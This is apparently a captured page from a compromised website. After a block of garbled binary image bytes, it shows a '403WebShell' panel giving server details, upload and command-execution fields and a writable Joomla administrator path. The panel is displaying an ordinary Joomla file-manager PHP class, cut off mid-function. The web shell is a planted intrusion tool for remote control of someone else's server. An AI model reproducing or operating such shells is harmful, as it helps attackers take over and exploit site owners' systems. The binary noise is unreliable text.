....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.21.27.90  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.3
System : Linux 4e27b89abc44 6.8.0-147-generic #147-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 24 11:33:16 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sites/xo-fab.com/www/administrator/components/com_profiles/filemanager/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sites/xo-fab.com/www/administrator/components/com_profiles/filemanager/classes//file.php
<?php
/**
 * @package		Profiles
 * @subpackage	filemanger
 * @copyright	Copyright (C) 2013 - 2013 Mad4Media - Dipl. Informatiker(FH) Fahrettin Kutyol. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @license		Libraries can be under a different license in other environments
 * @license		Media files owned and created by Mad4Media such as 
 * @license 	Javascript / CSS / Shockwave or Images are licensed under GFML (GPL Friendly Media License). See GFML.txt.
 * @license		3rd party scripts are under the license of the copyright holder. See source header or license text file which is included in the appropriate folders
 * @version		1.0
 * @link		http://www.mad4media.de
 * Creation date 2013/02
 */

//CUSTOMPLACEHOLDER
//CUSTOMPLACEHOLDER2

defined('_JEXEC') or die;

define ('UTF32_BIG_ENDIAN_BOM'   , chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM'   , chr(0xFE) . chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE));
define ('UTF8_BOM'               , chr(0xEF) . chr(0xBB) . chr(0xBF));

class MFile{

	// parses ini files e.g for MText
	public static function parseData($fileName, $asObject = false, $toLower= true){
		if(!file_exists($fileName)) {
			return null;
		}
		
		$lines = file($fileName);
		$return = ($asObject)? DataObject::instance():array();

		foreach ($lines as $line){
			$splitByEqual = explode("=",$line,2);
			if(sizeof($splitByEqual)==2){
				if($toLower){
					$splitByEqual[0] = strtolower($splitByEqual[0]);
				}
				if($asObject){
					$return->add(trim($splitByEqual[0]),trim($splitByEqual[1]));
				}else {
					$return[trim($splitByEqual[0])] = trim($splitByEqual[1]);
				}//EOF else
			}// EOF if
		}//EOF foreach
		return $return;
	}//EOF parseArray()

	
	public static function writeData($fileName = null,$data = null, $add = false){
		if(! trim($fileName)) return false;
		if( function_exists('file_put_contents')){
			$method = $add ? FILE_APPEND : null;
			return file_put_contents($fileName, $data, $method | LOCK_EX);
		}else{
			$method = $add ? 'a' : 'w';
			$status = fopen($fileName, $method);
			flock($status, LOCK_EX);
			if($status){
				fwrite($status, $data);
				fclose($status);
				flock($status, LOCK_UN);
				return true;
			}else{
				return false;
			}			
		}
	}
	
	public static function readData($fileName = null, $default = null){
		if(! trim($fileName) || ! self::isFile($fileName) || self::isDir($fileName)) return $default;
		if( function_exists('file_get_contents')) return file_get_contents($fileName);
		else{
			try {
				$contents ="";
				$handle = fopen($fileName, 'r');
				$contents = fread($handle, filesize($fileName));
				fclose($handle);
				return $contents;				
			}catch (Exception $e){
				return $default;
			}
			
		}
	}
	
	
	public static function copy($source,$destination,$overwrite=false){

	if(file_exists($destination)){
		if(self::isDir($source)){
			//TODO!!
		}
		
		if($overwrite){
			MFile::remove($destination);
		} else{
			return MText::_("filefolderexists");;
		}
	}

	if(! $return = copy($source,$destination)){
		}
	return $return; 
	}
	
	public static function move($source,$destination){
		if(!is_dir($destination) || !$destination) return "Destination is not a folder or is null!";
		$pi = pathinfo($source);
		$newName = $destination.DS.$pi['basename'];
		$error = null;
		if(file_exists($newName)){
			$error = MText::_("filefolderexists");
		}else{ 
			rename($source,$newName);
		}
		return $error;
	}
	
	
	public static function remove($fileName,$atAllCosts=false,$secondAttempt =false){
		if(self::isDir($fileName)){
			return $atAllCosts ? self::removeDirAtAllCosts($fileName) : self::removeDir($fileName)  ;
		}
		
		if(! $return = unlink($fileName)){
			if($atAllCosts && !$secondAttempt){
				MFile::chmod($fileName,0777);
				MFile::remove($fileName,true,true);				
			}
		}
	return $return; 
	}
	
	public static function isDir($dirName){
		return is_dir($dirName);
	}
	
	public static function isFile($fileName){
		return is_file($fileName);
	}
	
	public static function is($name){
		return file_exists($name);
	}
	
	public static function isWritable($fileName = null){
		if(! trim($fileName) || !self::is($fileName)) return false;
		else return is_writable($fileName);
	}
	
	public static function getSize($fileName = null){
		if(! self::is($fileName)) return false;
		return filesize($fileName);
	}
	
	public static function mkdir($dirName,$chmod = 0755){
		return self::createDir($dirName, $chmod);
	}

	public static function chmod($file,$mode,$isOctal=false){
	
	if(!$isOctal){
		$t = array(0000,1000,2000,3000,4000,5000,6000,7000);
		$h = array(0000,0100,0200,0300,0400,0500,0600,0700);
		$z = array(0000,0010,0020,0030,0040,0050,0060,0070);
		$e = array(0000,0001,0002,0003,0004,0005,0006,0007);
		
		$_t =  (int)  ($mode /1000);
		$mode = $mode %1000;
		$_h = (int)  ($mode /100);
		$mode = $mode %100;
		$_z = (int) ($mode /10);
		$_e = $mode %10;
		$octal = $t[$_t]+$h[$_h]+$z[$_z]+$e[$_e];
	}else {
		$octal = $mode;
	}	
	
	return chmod($file,$octal); 
	}
	
	public static function rename($oldName,$newName){
		return rename($oldName,$newName); 
	}
	
	public static function mode($fileName = null){
		if(! file_exists($fileName)){
			return null;
		}
		clearstatcache();
		return substr(decoct(fileperms($fileName)),2);
	}
	public static function info($name){
		if(! file_exists($name)){
				return null;
			}
		$info = DataObject::instance();
		$name =  str_replace("\\", '/', $name);
		$info->add("fileName",$name);
		$info->add("mode",MFile::mode($name));
		$info->add("permmask", MFile::permissionMask($name));
		$info->add("size",(int) filesize($name));
		$info->add("sizeKB",round(($info->size/1024),2));
		$info->add("sizeMB",round(($info->size/1048576),2));
		if($info->sizeMB >=1){
			$smart= $info->sizeMB." MB";
		}elseif($info->sizeKB >= 1){
			$smart= $info->sizeKB." KB";
		}else {
			$smart= $info->size." Bytes";
		}
		$info->add("smartSize",$smart);
		$info->add("type",filetype($name));
		$info->add("isDir",is_dir($name));
		$info->add("isFile",is_file($name));
		$info->add("lastModifiedTimestamp",filemtime($name));
		$info->add("lastModifiedDate",date("d.m.Y",$info->lastModifiedTimestamp));
		$info->add("lastModifiedTime",date("H:i",$info->lastModifiedTimestamp));
		$info->add("lastModified",date("d.m.Y H:i",$info->lastModifiedTimestamp));
		$pi = pathinfo($name);
		$info->add("dirName",$pi['dirname']);
		$info->add("baseName",utf8_encode($pi['basename']));
		
		$info->add("extension", strtolower(  isset($pi['extension']) ? $pi['extension'] : null   ));	
		$info->add("folderUp",($pi['basename']=='..'));	
		$owner = (fileowner($name)==0)?"n/a":fileowner($name);	
		$info->add("owner",$owner);	
		$info->add("isReadable",is_readable($name));
		$info->add("isWritable",is_writable($name));			
		
		$imgArray = array("gif","jpg","jpeg","png","ico","icon");
		$info->add("isImage",in_array(strtolower($info->extension),$imgArray));
		
		$docArray = array("doc"," docx","pdf","rtf","ps","lwp","txt","text","wps","htm","html","odt","ods","odp","pps","ppt","xml");
		$info->add("isDocument",in_array(strtolower($info->extension),$docArray));
		

		$audioArray = array("mp3","ra","ram","wav","wave","wma","au","mpa","m3u","aif","iff","mid","midi");
		$info->add("isAudio",in_array(strtolower($info->extension),$audioArray));
		
		$videoArray = array("avi","mov","movi","moov","qt","mp4","mpg","mpeg","rm","swf","wm","wmv","dvx","divx","flv","xvid");
		$info->add("isVideo",in_array(strtolower($info->extension),$videoArray));		
		
		$compressedArray = array("zip","rar","gz","gzip");
		$info->add("isCompressed",in_array(strtolower($info->extension),$compressedArray));
		$info->add("sub",null);				
		return $info;
	}

	public static function permissionMask($path = null){
		if(!$path) return null;
		
		$perms = fileperms($path);
		
		if (($perms & 0xC000) == 0xC000) {
			// Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			// Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			// Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			// Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			// Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			// Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			// FIFO pipe
			$info = 'p';
		} else {
			// Unknown
			$info = 'u';
		}
		
		// Owner
		$info .= (($perms & 0x0100) ? 'r' : '-');
		$info .= (($perms & 0x0080) ? 'w' : '-');
		$info .= (($perms & 0x0040) ?
				(($perms & 0x0800) ? 's' : 'x' ) :
				(($perms & 0x0800) ? 'S' : '-'));
		
		// Group
		$info .= (($perms & 0x0020) ? 'r' : '-');
		$info .= (($perms & 0x0010) ? 'w' : '-');
		$info .= (($perms & 0x0008) ?
				(($perms & 0x0400) ? 's' : 'x' ) :
				(($perms & 0x0400) ? 'S' : '-'));
		
		// World
		$info .= (($perms & 0x0004) ? 'r' : '-');
		$info .= (($perms & 0x0002) ? 'w' : '-');
		$info .= (($perms & 0x0001) ?
				(($perms & 0x0200) ? 't' : 'x' ) :
				(($perms & 0x0200) ? 'T' : '-'));
		return $info;
	}
	
	
	public static function getDir($parent=null,$allowUp = false){
		if(!is_dir($parent)) return null;
		$array = array();
		$dir = @opendir($parent);
		while ($entry = @readdir($dir)){
			if ($entry == '.') continue;
			if (!$allowUp && $entry == '..')continue;
			
			if(is_dir($parent.DS.$entry)){
				$array[] = MFile::info($parent.DS.$entry);
			}	
		}
		@closedir ($dir);
		asort($array);
		return $array;
	}
	
	public static function countDir($parent=null){
		if(!is_dir($parent)) return null;	
		$dir = @opendir($parent);
		$count = 0;
		while ($entry = @readdir($dir)){
			if ($entry == '.' || $entry == '..' || is_file($parent.DS.$entry)) continue;
			$count++;
		}	
		@closedir ($dir);
		return $count;
	}
	
	public static function hasSubDir($parent=null){
		if(!MFile::isDir($parent)) return null;
		$dir = @opendir($parent);
		while ($entry = @readdir($dir)){
			if ($entry == '.' || $entry == '..') continue;			
			if(is_dir($parent.DS.$entry)){
				return true;
			}	
		}
		@closedir ($dir);
		return false;	
	}
	
	public static function traverseDir($file,$level=-1){
		if(! MFile::is($file) || $level==0){
			return null;
		}
		$info = MFile::info($file);
		if($info->isFile){
			return null;
		}
		$array = array();
		$dir = @opendir($file);
		while ($entry = @readdir($dir)){
			if ($entry == '.' || $entry == '..') continue;
			if(MFile::isDir($file.DS.$entry)){
				
				$array[] = MFile::traverseDir($file.DS.$entry,($level-1));
			}	
		}
		@closedir ($dir);
		
		if(sizeof($array)>0){
			$info->sub = $array;
			return $info;	
		}else if($info){
			return $info;
		}else return null;
	}
	
	public static function filesInfo($dirName){
		if(! MFile::is($dirName) || ! MFile::isDir($dirName)){
			return null;
		}
		$array = array();
		$dir = @opendir($dirName);
		while ($entry = @readdir($dir)){
			if ($entry == '.' || $entry == '..') continue;
			if(MFile::isFile($dirName.DS.$entry)){
				$array[] = MFile::info($dirName.DS.$entry);
			}	
		}
		@closedir ($dir);
		asort($array);
		if(sizeof($array)>0){
			return $array;
		}else {
			return null;
		}
	}
	
	public static function filesByType($dirName,$type){
		if(! MFile::is($dirName) || ! MFile::isDir($dirName)){
			return null;
		}
		$isArray = (gettype($type)== "array");
		
		$array = array();
		$dir = @opendir($dirName);
		while ($entry = @readdir($dir)){
			if ($entry == '.' || $entry == '..') continue;
			if(MFile::isFile($dirName.DS.$entry)){
				$info = MFile::info($dirName.DS.$entry);
				if($isArray){
					$typeMatching = in_array($info->extension,$type);
				} else{
					$typeMatching = ($info->extension == $type);
				}
				if($typeMatching){
					$array[] = $info;	
				}
			}	
		}
		@closedir ($dir);
		if(sizeof($array)>0){
			return $array;
		}else {
			return null;
		}
	}
	
	
	
	
	public static function action($name,$action,$arguments){
		if(!file_exists($name)) return null;
		switch ($action){
			case 'parseData':return MFile::parseData($name) ;
			break;
			case 'chmod':return MFile::chmod($name,$arguments);
			break;
			case 'mode':return MFile::mode($name);
			break;
			default:
			case 'info':return MFile::info($name);
			break;
		}
	}
	
	
	
	//removes a dir with all files and folders inside
	public static function removeDir ($path) {
		if (!is_dir ($path)) {
			return -1;
		}
		$dir = @opendir ($path);
		if (!$dir) {
			return -2;
		}
		while ($entry = @readdir($dir)) {
			if ($entry == '.' || $entry == '..') continue;
			if (is_dir ($path.DS.$entry)) {
				$res = MFile::removeDir ($path.DS.$entry);
				if ($res == -1) {
					@closedir ($dir);
					return -2;
				} else if ($res == -2) {
					@closedir ($dir);
					return -2;
				} else if ($res == -3) {
					@closedir ($dir);
					return -3;
				} else if ($res != 0) {
					@closedir ($dir);
					return -2;
				}
			} else if (is_file ($path.DS.$entry) || is_link ($path.DS.$entry)) {
				$res = @unlink ($path.DS.$entry);
				if (!$res) {
					@closedir ($dir);
					return -2;
				}
			} else {
				@closedir ($dir);
				return -3;
			}
		}
		@closedir ($dir);

		$res = @rmdir ($path);

		if (!$res) {
			return -2;
		}
		return 0;
	}//EOF removeDir

	
	public static function removeDirAtAllCosts($path){
		if (!is_dir($path)) {
			return false;
		}
		
		$dir = @opendir($path);
		while ($entry = @readdir($dir)) {
			if ($entry == '.' || $entry == '..') continue;
			if (is_dir ($path.DS.$entry)) {
				MFile::removeDirAtAllCosts($path.DS.$entry);
			}else{
				chmod($path.DS.$entry,0777);
				unlink($path.DS.$entry);
			}
		}
		@closedir($dir);
		chmod($path,0777);
		rmdir($path);
		return true;
	}

	public static function createDir($dirPath = null, $chmod = 0755){
		return  $dirPath ? @mkdir( $dirPath , $chmod ) : false;
	}
	
	public static function unzip($source=null,$destination=null,$overwrite = true){
		if(! class_exists("dUnzip2") ){
			return null;
		}
		if(!$source || !$destination){
			return null;
		}
		$zip = new dUnzip2($source);
		$zip->debug = false; 
		$zip->getList();
		$zip->unzipAll($destination); 
		return true;
	}

	
	public static function getEncoding($filename){
		if(!file_exists($filename)) return null;
		$handle = fopen($filename,"r");
		$header = fread($handle,4);
		$sample = fread($handle,10240);
		fclose($handle);
		
		
		
	    $first2 = substr($header, 0, 2);
	    $first3 = substr($header, 0, 3);
	    $first4 = substr($header, 0, 3);
   
	    if ($first3 == UTF8_BOM) return 'UTF-8';
	    elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
	    elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
	    elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
	    elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
		

//	    ISO-8859-1  bis 16
		if(function_exists("iconv")){
			$sample2 = substr(trim($sample),0,20);
			$compareSample = md5($sample2);
			
			if($compareSample == md5(iconv("UTF-8","UTF-8",$sample2))) return "UTF-8";
			
			$count = 0;
			$iso = "ISO-8859-";
			while(++$count<17){
				if($compareSample==  md5(iconv($iso.$count,$iso.$count,$sample2)))	return $iso.$count;				
			}
			
			if($compareSample == md5(iconv("UTF-8","UTF-8",$sample2))) return "UTF-8";
			
			$windows = array(874,932,936,949,950,1250,1251,1252,1253,1254,1255,1256,1257,1258);
			
			foreach($windows as $win){
